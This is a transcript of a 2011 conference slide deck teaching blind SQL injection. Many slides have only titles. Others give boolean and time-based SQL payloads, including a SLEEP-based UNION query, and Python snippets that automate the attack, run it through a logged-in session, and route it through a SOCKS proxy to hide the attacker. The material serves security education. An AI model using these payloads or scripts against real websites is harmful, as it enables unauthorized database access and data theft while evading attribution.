Top Banner
BLIND SQL INJECTION (in plain English) by Duong Ngo Information Security Specialist TexSAW @ UT Dallas - Oct 2011
46

Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Jun 28, 2020

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

BLIND SQL INJECTION(in plain English)

by Duong NgoInformation Security Specialist

TexSAW @ UT Dallas - Oct 2011

Page 2: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Why I need to know Blind SQL injection?

Because you don't want to be like them.(i.e pwned by Blind SQL injection)

Page 3: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Blind vs normal SQLinjection: the difference

Only one: you don't get helpful messages like this

Blind vs Normal SQL injection : The difference

Page 4: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Basic Blind SQL injection

Page 5: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

TAKE A LOOK AT THIS VULNERABLE SHOPPING WEBSITE

Page 6: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

TEST BY ADDING "AND 1=0"

Page 7: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

CONFIRM AGAIN BY ADDING "AND 1=1"

Page 8: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

THE QUERY BEHIND THE SCENE p1

Page 9: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

THE QUERY BEHIND THE SCENE p2

Page 10: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

THE QUERY BEHIND THE SCENE p3

Page 11: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 12: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 13: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

UHM, LET'S LISTEN TO THIS CONVERSATION

Page 14: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 15: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 16: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 17: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 18: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 19: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 20: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 21: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 22: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 23: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 24: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 25: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 26: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 27: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 28: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 29: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 30: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information
Page 31: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

A LITTLE BIT MORE ADVANCED

Page 32: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

TOTALLY BLIND SQL injectionNO VISIBLE DIFFERENCE!

Page 33: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

HOW DO WE ATTACK?

Page 34: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Time-based attack - It's time to go Sleep!

UNION SELECT IF(1=1, SLEEP(10), NULL);

Page 35: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

It's sleeping ....

Page 36: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

So now it goes back to normal blind SQL injection

Page 37: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Blind SQL injections are time consuming (especially with sleep() z.zz.zzz)

Why not automate it?

Page 38: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Let Python do it for you...Request a URL: import urllib2site = "http://a.com/vuln.php?item_id="payload = "1 AND 1=0"target = site + payloadhtml_result = urllib2.urlopen(target).read()

Read result for normal case:if html_result.find("No item found") == -1: #our clause is Trueelse: #our clause is False

Page 39: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Automated blind SQLi Attack

Page 40: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Confirm result (timeout method)

import socketsocket.setdefaulttimeout(8) #wait 8 seconds

try: #send request to tell the DB to sleep html_result = urllib2.urlopen(target).read()

#our clause is False (DB doesn't sleep)

except socket.timeout: #Our clause is True #(DB is sleeping and can't respond)

Page 41: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Automated Timing Attack - illustration

Page 42: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Attack through authentication

import cookielib, urllib2cookie_jar = cookielib.CookieJar()

#open the url with cookieopener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))

site_login = "http://a.com/login.php"params = urllib.urlencode( {"username": "myuser", "pwd": "123"} )

#login firstopener.open(site_login, params)

#execute our attack with our cookie sethtml_result = opener.open(target).read()

Page 43: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Automated member area attack - illustration

Page 44: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Attack with Confidence :) (through proxies)

import socket, socks, urllib2#our proxyserver = "202.12.0.23" port = 8080

#set connection via proxysocks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, server, port)socket.socket = socks.socksocket

#attack safely!html_result = urllib2.urlopen(target)

Page 45: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Automated Attack through proxy

Page 46: Blind SQL injection in plain English - University of Texas ...csi.utdallas.edu/events/.../Blind_SQL_injection_iin... · BLIND SQL INJECTION (in plain English) by Duong Ngo Information

Finally, we get here....:)THANK YOU FOR LISTENING!!

If you are looking for someone to do pen-testing or any security-related works, I'm glad to help you with that.

email me: [email protected]